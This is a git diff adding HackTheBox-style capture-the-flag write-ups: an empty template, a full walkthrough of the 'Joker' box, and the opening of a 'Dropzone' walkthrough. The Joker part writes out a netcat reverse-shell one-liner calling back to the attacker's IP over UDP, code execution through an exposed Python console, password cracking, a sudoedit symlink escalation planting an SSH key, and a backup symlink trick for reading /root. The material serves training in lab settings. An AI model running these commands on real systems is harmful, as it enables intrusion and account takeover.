100644 index 0000000..52d53f4 Binary files /dev/null and b/Easy/prg/70_004.png differ diff --git a/Easy/prg/70_005.png b/Easy/prg/70_005.png new file mode 100644 index 0000000..b9f75a2 Binary files /dev/null and b/Easy/prg/70_005.png differ diff --git a/Easy/prg/70_006.png b/Easy/prg/70_006.png new file mode 100644 index 0000000..166e206 Binary files /dev/null and b/Easy/prg/70_006.png differ diff --git a/Easy/prg/71_001.png b/Easy/prg/71_001.png new file mode 100644 index 0000000..98d608f Binary files /dev/null and b/Easy/prg/71_001.png differ diff --git a/Easy/prg/71_002.png b/Easy/prg/71_002.png new file mode 100644 index 0000000..58c0bfd Binary files /dev/null and b/Easy/prg/71_002.png differ diff --git a/Easy/prg/71_003.png b/Easy/prg/71_003.png new file mode 100644 index 0000000..16ffe12 Binary files /dev/null and b/Easy/prg/71_003.png differ diff --git a/Easy/prg/71_004.png b/Easy/prg/71_004.png new file mode 100644 index 0000000..3124477 Binary files /dev/null and b/Easy/prg/71_004.png differ diff --git a/Easy/prg/71_005.png b/Easy/prg/71_005.png new file mode 100644 index 0000000..0ccf7e7 Binary files /dev/null and b/Easy/prg/71_005.png differ diff --git a/Easy/prg/71_006.png b/Easy/prg/71_006.png new file mode 100644 index 0000000..8312e27 Binary files /dev/null and b/Easy/prg/71_006.png differ diff --git a/Easy/prg/71_007.png b/Easy/prg/71_007.png new file mode 100644 index 0000000..d77e179 Binary files /dev/null and b/Easy/prg/71_007.png differ diff --git a/Easy/prg/9_001.png b/Easy/prg/9_001.png new file mode 100644 index 0000000..442f999 Binary files /dev/null and b/Easy/prg/9_001.png differ diff --git a/Easy/prg/9_002.png b/Easy/prg/9_002.png new file mode 100644 index 0000000..495f79b Binary files /dev/null and b/Easy/prg/9_002.png differ diff --git a/Easy/prg/9_003.png b/Easy/prg/9_003.png new file mode 100644 index 0000000..8410df6 Binary files /dev/null and b/Easy/prg/9_003.png differ diff --git a/Easy/prg/9_004.png b/Easy/prg/9_004.png new file mode 100644 index 0000000..1a921a0 Binary files /dev/null and b/Easy/prg/9_004.png differ diff --git a/Easy/prg/9_005.png b/Easy/prg/9_005.png new file mode 100644 index 0000000..9a032d9 Binary files /dev/null and b/Easy/prg/9_005.png differ diff --git a/Easy/prg/9_006.png b/Easy/prg/9_006.png new file mode 100644 index 0000000..041e5d7 Binary files /dev/null and b/Easy/prg/9_006.png differ diff --git a/Easy/prg/9_007.png b/Easy/prg/9_007.png new file mode 100644 index 0000000..32f9cdc Binary files /dev/null and b/Easy/prg/9_007.png differ diff --git a/Easy/prg/9_008.png b/Easy/prg/9_008.png new file mode 100644 index 0000000..682477a Binary files /dev/null and b/Easy/prg/9_008.png differ diff --git a/Easy/prg/9_009.png b/Easy/prg/9_009.png new file mode 100644 index 0000000..54a70da Binary files /dev/null and b/Easy/prg/9_009.png differ diff --git a/Hard/0.md b/Hard/0.md new file mode 100644 index 0000000..f13ef24 --- /dev/null +++ b/Hard/0.md @@ -0,0 +1,66 @@ +# Writeup + +![](img/0.png) + +## Introduction : + +the text goes here + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.1 --max-retries 0 -Pn --min-rate=500 | grep Discovered + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.40/23 ] [ /dev/pts/12 ] [~] + → sudo nmap -sCV -p1,2 10.10.10.1 + + +## **Part 2 : Getting User Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Part 3 : Getting Root Access** + +the text goes here + + + + + + + + + + + + + + + + +## **Conclusion** + +Here we can see the progress graph : + diff --git a/Hard/1.md b/Hard/1.md new file mode 100644 index 0000000..3ed7e0f --- /dev/null +++ b/Hard/1.md @@ -0,0 +1,462 @@ +# Joker Writeup + +![](img/0.png) + +## Introduction : + +Joker is a hard linux box released back in May 2017. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.37/23 ] [ /dev/pts/16 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.21 --max-retries 0 -Pn --min-rate=500 | grep Discovered + Discovered open port 22/tcp on 10.10.10.21 + Discovered open port 3128/tcp on 10.10.10.21 + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.37/23 ] [ /dev/pts/10 ] [~] + → nmap -sCV 10.10.10.21 -Pn -p 22,3128 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-29 17:39 CEST + Nmap scan report for 10.10.10.21 + Host is up (0.032s latency). + Not shown: 998 filtered ports + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.3p1 Ubuntu 1ubuntu0.1 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 88:24:e3:57:10:9f:1b:17:3d:7a:f3:26:3d:b6:33:4e (RSA) + | 256 76:b6:f6:08:00:bd:68:ce:97:cb:08:e7:77:69:3d:8a (ECDSA) + |_ 256 dc:91:e4:8d:d0:16:ce:cf:3d:91:82:09:23:a7:dc:86 (ED25519) + 3128/tcp open http-proxy Squid http proxy 3.5.12 + |_http-server-header: squid/3.5.12 + |_http-title: ERROR: The requested URL could not be retrieved + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 21.78 seconds + + + + [ 10.10.14.37/23 ] [ /dev/pts/11 ] [~] + → sudo nmap -sU 10.10.10.21 -p 69,5355 + [sudo] password for nothing: + Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-29 17:53 CEST + Nmap scan report for 10.10.10.21 + Host is up (0.028s latency). + + PORT STATE SERVICE + 69/udp open|filtered tftp + 5355/udp open|filtered llmnr + + Nmap done: 1 IP address (1 host up) scanned in 1.62 second + + +## **Part 2 : Getting User Access** + +The UDP scan picked up port 69 tftp so let's investigate it: + + + [ 10.10.14.37/23 ] [ /dev/pts/11 ] [~/_HTB/Joker] + → sudo pacman -S tftp-hpa + resolving dependencies... + looking for conflicting packages... + + Packages (1) tftp-hpa-5.2-9 + + Total Download Size: 0,04 MiB + Total Installed Size: 0,09 MiB + + :: Proceed with installation? [Y/n] y + :: Retrieving packages... + tftp-hpa-5.2-9-x86_64 37,8 KiB 1260 KiB/s 00:00 [###################################] 100% + (1/1) checking keys in keyring [###################################] 100% + (1/1) checking package integrity [###################################] 100% + (1/1) loading package files [###################################] 100% + (1/1) checking for file conflicts [###################################] 100% + (1/1) checking available disk space [###################################] 100% + :: Processing package changes... + (1/1) installing tftp-hpa [###################################] 100% + :: Running post-transaction hooks... + (1/2) Reloading system manager configuration... + (2/2) Arming ConditionNeedsUpdate... + + [ 10.10.14.37/23 ] [ /dev/pts/11 ] [~/_HTB/Joker] + → tftp 10.10.10.21 + tftp> get passwords + Recieved 48 bytes in 5.9 seconds + + +Once we have the passwords file we will use john to crack it using the rockyou.txt wordlist: + + + john --wordlist=/usr/share/wordlists/rockyou.txt passwords + + +Once it's done we have the credentials we need : ihateseafood (kalamari) so now let's make use of port 3128 (squid proxy) using firefox + +![](prg/1/001.png) ![](prg/1/002.png) + +So that's one way of doing it, but we can also use foxyproxy to do that: + +![](prg/1/003.png) + +Once that's done, visiting http://127.0.0.1 redirects us to a login prompt (where we put in the credentials john found earlier) and we are greeted by a shorty-url webpage. So we enumerate it using dirb + +![](prg/1/004.png) + + + [ 10.10.14.37/23 ] [ /dev/pts/14 ] [~] + → dirb http://127.0.0.1 -p 10.10.10.21:3128 -P kalamari:ihateseafood -r + + ----------------- + DIRB v2.22 + By The Dark Raver + ----------------- + + START_TIME: Wed Jul 29 18:19:04 2020 + URL_BASE: http://127.0.0.1/ + WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt + PROXY: 10.10.10.21:3128 + PROXY AUTHORIZATION: kalamari:ihateseafood + OPTION: Not Recursive + + ----------------- + + GENERATED WORDS: 4612 + + ---- Scanning URL: http://127.0.0.1/ ---- + + http://127.0.0.1/console (CODE:200|SIZE:1479) + + +now we visit http://127.0.0.1/console and we are greeted by a python interpreter into which we're going to inject our reverse shell. but before that we need to enumerate a bit: + + + >>> import os + >>> os.popen("whoami").read() + 'werkzeug\n' + >>> os.popen("nc -h").read() + '' + >>> os.popen("nc -h 2>&1").read() + 'OpenBSD netcat (Debian patchlevel 1.105-7ubuntu1)\nThis is nc from the netcat-openbsd package. An alternative nc is available\nin the netcat-traditional package.\nusage: nc [-46bCDdhjklnrStUuvZz] [-I length] [-i interval] [-O length]\n\t [-P proxy_username] [-p source_port] [-q seconds] [-s source]\n\t [-T toskeyword] [-V rtable] [-w timeout] [-X proxy_protocol]\n\t [-x proxy_address[:port]] [destination] [port]\n\tCommand Summary:\n\t\t-4\t\tUse IPv4\n\t\t-6\t\tUse IPv6\n\t\t-b\t\tAllow broadcast\n\t\t-C\t\tSend CRLF as line-ending\n\t\t-D\t\tEnable the debug socket option\n\t\t-d\t\tDetach from stdin\n\t\t-h\t\tThis help text\n\t\t-I length\tTCP receive buffer length\n\t\t-i secs\t\tDelay interval for lines sent, ports scanned\n\t\t-j\t\tUse jumbo frame\n\t\t-k\t\tKeep inbound sockets open for multiple connects\n\t\t-l\t\tListen mode, for inbound connects\n\t\t-n\t\tSuppress name/port resolutions\n\t\t-O length\tTCP send buffer length\n\t\t-P proxyuser\tUsername for proxy authentication\n\t\t-p port\t\tSpecify local port for remote connects\n \t-q secs\t\tquit after EOF on stdin and delay of secs\n\t\t-r\t\tRandomize remote ports\n\t\t-S\t\tEnable the TCP MD5 signature option\n\t\t-s addr\t\tLocal source address\n\t\t-T toskeyword\tSet IP Type of Service\n\t\t-t\t\tAnswer TELNET negotiation\n\t\t-U\t\tUse UNIX domain socket\n\t\t-u\t\tUDP mode\n\t\t-V rtable\tSpecify alternate routing table\n\t\t-v\t\tVerbose\n\t\t-w secs\t\tTimeout for connects and final net reads\n\t\t-X proto\tProxy protocol: "4", "5" (SOCKS) or "connect"\n\t\t-x addr[:port]\tSpecify proxy address and port\n\t\t-Z\t\tDCCP mode\n\t\t-z\t\tZero-I/O mode [used for scanning]\n\tPort numbers can be individual or ranges: lo-hi [inclusive]\n' + >>> + + +so here we see that netcat is here, and the flags we have here are **-46bCDdhjklnrStUuvZz** it is important to note that we do not have the -e flag so it's here that many other people who made the writeup of this box falsely claimed they could just use pentestmonkey's python reverse shell one liner because it contains the -e flag which is not here for netcat. So to go around this we'll use another reverse shell one liner : + + + rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.37 9002 >/tmp/f + + +Here it is important to add the & at the end because if this is not successful, the webservice will die on us and we would need to revert the box. This makes sure that the process runs in the background on another thread in order for us to keep using the box in case if it doesn't work. + + + rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.37 9002 >/tmp/f & + + +Now here we are dealing with a python interpreter so we need to wrap our payload within the os.popopen("").read() command: + + + import os + os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.37 9002 >/tmp/f &").read() + + +Sadly this doesn't work, and that is because there are iptables. We can see that here: + + + >>> os.popen("find /etc | grep iptables").read() + '/etc/iptables\n/etc/iptables/rules.v4\n/etc/iptables/rules.v6\n' + >>> os.popen("base64 -w 0 /etc/iptables/rules.v4").read() + 'IyBHZW5lcmF0ZWQgYnkgaXB0YWJsZXMtc2F2ZSB2MS42LjAgb24gRnJpIE1heSAxOSAxODowMToxNiAyMDE3CipmaWx0ZXIKOklOUFVUIERST1AgWzQxNTczOjE4Mjk1OTZdCjpGT1JXQVJEIEFDQ0VQVCBbMDowXQo6T1VUUFVUIEFDQ0VQVCBbODc4OjIyMTkzMl0KLUEgSU5QVVQgLWkgZW5zMzMgLXAgdGNwIC1tIHRjcCAtLWRwb3J0IDIyIC1qIEFDQ0VQVAotQSBJTlBVVCAtaSBlbnMzMyAtcCB0Y3AgLW0gdGNwIC0tZHBvcnQgMzEyOCAtaiBBQ0NFUFQKLUEgSU5QVVQgLWkgZW5zMzMgLXAgdWRwIC1qIEFDQ0VQVAotQSBJTlBVVCAtaSBlbnMzMyAtcCBpY21wIC1qIEFDQ0VQVAotQSBJTlBVVCAtaSBsbyAtaiBBQ0NFUFQKLUEgT1VUUFVUIC1vIGVuczMzIC1wIHRjcCAtbSBzdGF0ZSAtLXN0YXRlIE5FVyAtaiBEUk9QCkNPTU1JVAojIENvbXBsZXRlZCBvbiBGcmkgTWF5IDE5IDE4OjAxOjE2IDIwMTcK' + >>> + + +then we decode it locally : + + + echo 'B64STRING' | base64 -d > iptables.v4 + + + + [ 10.10.14.37/23 ] [ /dev/pts/8 ] [~/_HTB/Joker] + → echo 'IyBHZW5lcmF0ZWQgYnkgaXB0YWJsZXMtc2F2ZSB2MS42LjAgb24gRnJpIE1heSAxOSAxODowMToxNiAyMDE3CipmaWx0ZXIKOklOUFVUIERST1AgWzQxNTczOjE4Mjk1OTZdCjpGT1JXQVJEIEFDQ0VQVCBbMDowXQo6T1VUUFVUIEFDQ0VQVCBbODc4OjIyMTkzMl0KLUEgSU5QVVQgLWkgZW5zMzMgLXAgdGNwIC1tIHRjcCAtLWRwb3J0IDIyIC1qIEFDQ0VQVAotQSBJTlBVVCAtaSBlbnMzMyAtcCB0Y3AgLW0gdGNwIC0tZHBvcnQgMzEyOCAtaiBBQ0NFUFQKLUEgSU5QVVQgLWkgZW5zMzMgLXAgdWRwIC1qIEFDQ0VQVAotQSBJTlBVVCAtaSBlbnMzMyAtcCBpY21wIC1qIEFDQ0VQVAotQSBJTlBVVCAtaSBsbyAtaiBBQ0NFUFQKLUEgT1VUUFVUIC1vIGVuczMzIC1wIHRjcCAtbSBzdGF0ZSAtLXN0YXRlIE5FVyAtaiBEUk9QCkNPTU1JVAojIENvbXBsZXRlZCBvbiBGcmkgTWF5IDE5IDE4OjAxOjE2IDIwMTcK' | base64 -d > iptables.v4 + + [ 10.10.14.37/23 ] [ /dev/pts/8 ] [~/_HTB/Joker] + → nano iptables.v4 + + + + # Generated by iptables-save v1.6.0 on Fri May 19 18:01:16 2017 + *filter + :INPUT DROP [41573:1829596] + :FORWARD ACCEPT [0:0] + :OUTPUT ACCEPT [878:221932] + -A INPUT -i ens33 -p tcp -m tcp --dport 22 -j ACCEPT + -A INPUT -i ens33 -p tcp -m tcp --dport 3128 -j ACCEPT + -A INPUT -i ens33 -p udp -j ACCEPT + -A INPUT -i ens33 -p icmp -j ACCEPT + -A INPUT -i lo -j ACCEPT + -A OUTPUT -o ens33 -p tcp -m state --state NEW -j DROP + COMMIT + # Completed on Fri May 19 18:01:16 2017 + + +And here we see the problem, because we can only use a few ports for tcp (22 and 3128) , and the box accepts icmp (ping requests) as well as udp. So the easiest way to do it from here, is to spawn a reverse shell on a udp port instead of tcp. + + + import os + os.popen("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -u 10.10.14.13 9002 >/tmp/f &").read() + + +and of course, to recieve the reverse shell, we also need the -u flag on our end to make sure it is on our udp port: + + + nc -u -lvnp 9002 + + +` ![](prg/1/006.png) + +Now that we got our reverse shell, we are logged in as the user "werkzeug", we will first of all upgrade our reverse shell to a fully interactive shell: + + + [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Joker] + → nc -u -lvnp 9002 + listening on [any] 9002 ... + connect to [10.10.14.8] from (UNKNOWN) [10.10.10.21] 48079 + /bin/sh: 0: can't access tty; job control turned off + $ which bash + /bin/bash + $ which bash sh curl wget python python3 + /bin/bash + /bin/sh + /usr/bin/curl + /usr/bin/wget + /usr/bin/python + /usr/bin/python3 + $ python3 -c 'import pty; pty.spawn("/bin/bash")' + werkzeug@joker:~$ ^Z + [1] + 18172 suspended nc -u -lvnp 9002 + + [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Joker] + → stty raw -echo ; fg + [1] + 18172 continued nc -u -lvnp 9002 + export TERM=screen-256color + werkzeug@joker:~$ export SHELL=bash + werkzeug@joker:~$ stty rows 50 columns 200 + werkzeug@joker:~$ reset + + + +This reverse shell is very glitchy due to the use of the UDP protocol so make sure to press enter in between each previous step to make sure you get output. + +Now we could run a privesc script to find the vulnerabilities for us, but it is a fairly simple one, we just type sudo -l + +![](prg/1/009.png) + +and here we see what this box is about, the user we are logged in as (werkzeug) may run the sudoedit command on joker as the user alekos on /var/www/*/*/layout.html + +if we run dpkg -l sudo : + +![](prg/1/010.png) + +We see that sudo is version 1.8.16.0 and if we run a searchsploit command on this, we see that there is an exploit for it (namely 11651.sh and 37710.txt) + +So the idea here is, that you can take advantage of this wildcard vulnerability in sudo using symlinks and therefore being able to edit files that you are not supposed to be able to edit. Namely the authorized_key file in root's .ssh directory to put our public key in: + + + [terminal 1] + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Joker] + → cat ~/.ssh/mahakaliVM.pub + ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMOJqQ6+ycZGjPXSNkZ3zvgaHhEyLGcFb7fPfEIZSQl8 nothing@mahakali + + + [terminal 2] + werkzeug@joker:~/testing/nihilist$ ln -s /home/alekos/.ssh/authorized_keys layout.html + werkzeug@joker:~/testing/nihilist$ ls -lash + total 8.0K + 4.0K drwxrwxr-x 2 werkzeug werkzeug 4.0K Jul 6 22:31 . + 4.0K drwxr-xr-x 3 werkzeug werkzeug 4.0K Jul 6 22:30 .. + 0 lrwxrwxrwx 1 werkzeug werkzeug 33 Jul 6 22:31 layout.html -> /home/alekos/.ssh/authorized_keys + + werkzeug@joker:~/testing/nihilist$ sudoedit -u alekos /var/www/testin/nihilistlayout.html + + Unable to create directory /var/www/.nano: Permission denied + It is required for saving/loading search history or cursor positions. + + Press Enter to continue + + werkzeug@joker:~/testing/nihilist$cat layout.html + ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMOJqQ6+ycZGjPXSNkZ3zvgaHhEyLGcFb7fPfEIZSQl8 nothing@mahakali + + + +Now that our public key is in alekos's authorized_keys file, let's ssh as alekos: + + + [ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Joker] + → ssh alekos@10.10.10.21 -i ~/.ssh/mahakaliVM + The authenticity of host '10.10.10.21 (10.10.10.21)' can't be established. + ECDSA key fingerprint is SHA256:1yj4blzJwO5TYIZYFB3HMwXEqeflHc2iF1Idp3lZ94k. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.21' (ECDSA) to the list of known hosts. + Welcome to Ubuntu 16.10 (GNU/Linux 4.8.0-52-generic x86_64) + + * Documentation: https://help.ubuntu.com + * Management: https://landscape.canonical.com + * Support: https://ubuntu.com/advantage + + 0 packages can be updated. + 0 updates are security updates. + + + Last login: Sat May 20 16:38:08 2017 from 10.10.13.210 + alekos@joker:~$ id + uid=1001(alekos) gid=1001(alekos) groups=1001(alekos),1000(werkzeug) + alekos@joker:~$ ls -l + total 20 + drwxrwx--- 2 root alekos 12288 Jul 6 22:40 backup + drwxr-x--- 5 alekos alekos 4096 May 18 2017 development + -r--r----- 1 root alekos 33 May 19 2017 user.txt + alekos@joker:~$ cat user.txt + a2XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And there you go! We managed to get the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc to root on this box we're going to take a look at alekos's files: + + + alekos@joker:~$ ls -lash backup/ + total 336K + 12K drwxrwx--- 2 root alekos 12K Jul 6 22:45 . + 4.0K drwxr-xr-x 7 alekos alekos 4.0K May 19 2017 .. + 40K -rw-r----- 1 root alekos 40K Dec 24 2017 dev-1514134201.tar.gz + 40K -rw-r----- 1 root alekos 40K Dec 24 2017 dev-1514134501.tar.gz + 40K -rw-r----- 1 root alekos 40K Jul 6 22:20 dev-1625599201.tar.gz + 40K -rw-r----- 1 root alekos 40K Jul 6 22:25 dev-1625599501.tar.gz + 40K -rw-r----- 1 root alekos 40K Jul 6 22:30 dev-1625599801.tar.gz + 40K -rw-r----- 1 root alekos 40K Jul 6 22:35 dev-1625600101.tar.gz + 40K -rw-r----- 1 root alekos 40K Jul 6 22:40 dev-1625600401.tar.gz + 40K -rw-r----- 1 root alekos 40K Jul 6 22:45 dev-1625600701.tar.gz + + +here we see that a backup is being made every 5 minutes by the root user. So let's extract one of these backups to see what it does: + + + alekos@joker:~/backup$ mkdir extract + alekos@joker:~/backup$ cd extract + alekos@joker:~/backup/extract$ cp ../dev-1625601001.tar.gz . + alekos@joker:~/backup/extract$ gunzip -d dev-1625601001.tar.gz + + gzip: dev-1625601001.tar.gz: not in gzip format + alekos@joker:~/backup/extract$ ls -l + total 40 + -rw-r----- 1 alekos alekos 40960 Jul 6 22:50 dev-1625601001.tar.gz + alekos@joker:~/backup/extract$ file dev-1625601001.tar.gz + dev-1625601001.tar.gz: POSIX tar archive (GNU) + alekos@joker:~/backup/extract$ tar -xvf dev-1625601001.tar.gz + __init__.py + application.py + data/ + data/shorty.db + models.py + static/ + static/style.css + templates/ + templates/layout.html + templates/not_found.html + templates/list.html + templates/display.html + templates/new.html + utils.py + views.py + alekos@joker:~/backup/extract$ ls -lash ../../development/ + total 36K + 4.0K drwxr-x--- 5 alekos alekos 4.0K May 18 2017 . + 4.0K drwxr-xr-x 7 alekos alekos 4.0K Jul 6 22:50 .. + 4.0K -rw-r----- 1 alekos alekos 1.5K May 18 2017 application.py + 4.0K drwxrwx--- 2 alekos alekos 4.0K May 18 2017 data + 0 -rw-r----- 1 alekos alekos 0 May 18 2017 __init__.py + 4.0K -rw-r----- 1 alekos alekos 997 May 18 2017 models.py + 4.0K drwxr-x--- 2 alekos alekos 4.0K May 18 2017 static + 4.0K drwxr-x--- 2 alekos alekos 4.0K May 18 2017 templates + 4.0K -rw-r----- 1 alekos alekos 2.5K May 18 2017 utils.py + 4.0K -rw-r----- 1 alekos alekos 1.8K May 18 2017 views.py + alekos@joker:~/backup/extract$ + + +And here we see that basically there is a backup of the development folder that's being made every 5 minutes. So we basically make a symbolic link to /root/ so that the next backup that's being made is going to be that of the **/root/** directory where the root flag is. + + + alekos@joker:~$ date + Tue Jul 6 22:53:48 EEST 2021 + alekos@joker:~$ ls -l + total 20 + drwxrwx--- 3 root alekos 12288 Jul 6 22:50 backup + drwxr-x--- 5 alekos alekos 4096 May 18 2017 development + -r--r----- 1 root alekos 33 May 19 2017 user.txt + alekos@joker:~$ mv development/ dev.bak + alekos@joker:~$ ln -s /root/ development + alekos@joker:~$ ls -lash + total 52K + 4.0K drwxr-xr-x 7 alekos alekos 4.0K Jul 6 22:54 . + 4.0K drwxr-xr-x 3 root root 4.0K May 16 2017 .. + 12K drwxrwx--- 3 root alekos 12K Jul 6 22:50 backup + 0 -rw------- 1 root root 0 May 17 2017 .bash_history + 4.0K -rw-r--r-- 1 alekos alekos 220 May 16 2017 .bash_logout + 4.0K -rw-r--r-- 1 alekos alekos 3.7K May 16 2017 .bashrc + 4.0K drwx------ 2 alekos alekos 4.0K May 17 2017 .cache + 4.0K drwxr-x--- 5 alekos alekos 4.0K May 18 2017 dev.bak + 0 lrwxrwxrwx 1 alekos alekos 6 Jul 6 22:54 development -> /root/ + 4.0K drwxr-xr-x 2 alekos alekos 4.0K May 17 2017 .nano + 4.0K -rw-r--r-- 1 alekos alekos 655 May 16 2017 .profile + 4.0K drwxr-xr-x 2 alekos alekos 4.0K May 20 2017 .ssh + 4.0K -r--r----- 1 root alekos 33 May 19 2017 user.txt + alekos@joker:~$ date + Tue Jul 6 22:54:13 EEST 2021 + + +We wait for the next backup to happen, and then we extract it: + + + alekos@joker:~$ date + Tue Jul 6 22:55:19 EEST 2021 + alekos@joker:~$ cd backup/ + alekos@joker:~/backup$ ls -lash + total 392K + 12K drwxrwx--- 3 root alekos 12K Jul 6 22:55 . + 4.0K drwxr-xr-x 7 alekos alekos 4.0K Jul 6 22:54 .. + 40K -rw-r----- 1 root alekos 40K Dec 24 2017 dev-1514134201.tar.gz + 40K -rw-r----- 1 root alekos 40K Dec 24 2017 dev-1514134501.tar.gz + 40K -rw-r----- 1 root alekos 40K Jul 6 22:20 dev-1625599201.tar.gz + 40K -rw-r----- 1 root alekos 40K Jul 6 22:25 dev-1625599501.tar.gz + 40K -rw-r----- 1 root alekos 40K Jul 6 22:30 dev-1625599801.tar.gz + 40K -rw-r----- 1 root alekos 40K Jul 6 22:35 dev-1625600101.tar.gz + 40K -rw-r----- 1 root alekos 40K Jul 6 22:40 dev-1625600401.tar.gz + 40K -rw-r----- 1 root alekos 40K Jul 6 22:45 dev-1625600701.tar.gz + 40K -rw-r----- 1 root alekos 40K Jul 6 22:50 dev-1625601001.tar.gz + 12K -rw-r----- 1 root alekos 10K Jul 6 22:55 dev-1625601301.tar.gz + 4.0K drwxrwxr-x 5 alekos alekos 4.0K Jul 6 22:51 extract + alekos@joker:~/backup$ tar -xvf dev-1625601301.tar.gz + backup.sh + root.txt + alekos@joker:~/backup$ cat root.txt + d4XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it! We got the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/0_graph.png) + diff --git a/Hard/10.md b/Hard/10.md new file mode 100644 index 0000000..995507b --- /dev/null +++ b/Hard/10.md @@ -0,0 +1,683 @@ +# Dropzone Writeup + +![](img/10.png) + +## Introduction : + +Dropzone is a hard windows box released back in May 2018. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports. + + + [ 10.10.14.6/23 ] [ /dev/pts/16 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.90 --max-retries 0 -Pn --min-rate=500 | grep Discovered + [sudo] password for nothing: + Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. + Discovered open port 69/udp on 10.10.10.90 + + + +Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions. + + + [ 10.10.14.6/23 ] [ /dev/pts/19 ] [~] + → sudo nmap -sU -p69 -sCV -Pn 10.10.10.90 + Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. + Starting Nmap 7.91 ( https://nmap.org ) at 2020-12-21 09:45 CET + Nmap scan report for 10.10.10.90 + Host is up (0.033s latency). + + PORT STATE SERVICE VERSION + 69/udp open tftp SolarWinds Free tftpd + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 0.58 seconds + + + +## **Part 2 : Getting User Access** + +So we know that we have tftp port opened, now let's enumerate it: + + + [ 10.10.14.6/23 ] [ /dev/pts/2 ] [~] + → tftp 10.10.10.90 + tftp> get /windows + Error code 1: Access to the path 'C:\windows' is denied. + tftp> get /%USERNAME% + Error code 1: Could not find file 'C:\%USERNAME%'. + tftp> get /windows/system32/config/SAM + Error code 1: The process cannot access the file 'C:\windows\system32\config\SAM' because it is being used by another process. + tftp> get /Documents and Settings + tftp: Documents: Is a directory + Error code 1: Could not find file 'C:\and'. + Error code 1: Could not find file 'C:\Settings'. + tftp> + + tftp> get 'Documents and Settings' + Error code 1: Could not find file 'C:\'Documents'. + Error code 1: Could not find file 'C:\and'. + Error code 1: Could not find file 'C:\Settings''. + tftp> get "Documents and Settings" + Error code 0: Bailing out to bad characters in filename: '"Documents'. + Error code 1: Could not find file 'C:\and'. + Error code 0: Bailing out to bad characters in filename: 'Settings"'. + tftp> + + + + +Here we see a few things, first of all this is a windows machine because the first error tells us that the path C:\Windows exists but it's access is denied. Second of all, it looks like we cannot access the Documents and settings folder even when we wrap it in '' or "". This is because on older windows machines, there could not be long filenames, therefore the folder names would be 6 characters long and the number of whatever folder would match these first 8 letters like so: + + + tftp> get Docume~1 + Error code 1: Access to the path 'C:\Documents and Settings' is denied. + tftp> get Docume~1/Admini~1 + Error code 1: Access to the path 'C:\Documents and Settings\Administrator' is denied. + tftp> + + + +As you can see, we write the first 6 characters and then ~1 to find the first folder that matches these first 6 characters, and we found the directories we wanted. now let's check if this is a 32bit or a 64bit machine by checking if the Program Files x86 folder exists (which would mean that the Program Files folder is the 64bit folder): + + + tftp> get /Progra~1 + Error code 1: Access to the path 'C:\Program Files' is denied. + tftp> get /Progra~2 + Error code 1: Could not find file 'C:\Progra~2'. + tftp> + + + +And here we can see that there is only the Program Files folder, therefore it is safe to assume that this is a 32bit windows machine, and most probably windows XP. From here, we're going to use metasploit's psexec module: + + + [ 10.10.14.6/23 ] [ /dev/pts/2 ] [~/_HTB/Dropzone] + → locate psexec | grep metasploit + /usr/share/doc/metasploit-framework/modules/exploit/windows/smb/ms17_010_psexec.md + /usr/share/doc/metasploit-framework/modules/exploit/windows/smb/psexec.md + /usr/share/metasploit-framework/lib/msf/core/exploit/remote/smb/client/psexec.rb + /usr/share/metasploit-framework/lib/msf/core/exploit/remote/smb/client/psexec_ms17_010.rb + /usr/share/metasploit-framework/modules/auxiliary/admin/smb/psexec_ntdsgrab.rb + /usr/share/metasploit-framework/modules/auxiliary/scanner/smb/psexec_loggedin_users.rb + /usr/share/metasploit-framework/modules/exploits/windows/local/current_user_psexec.rb + /usr/share/metasploit-framework/modules/exploits/windows/smb/ms17_010_psexec.rb + /usr/share/metasploit-framework/modules/exploits/windows/smb/psexec.rb + 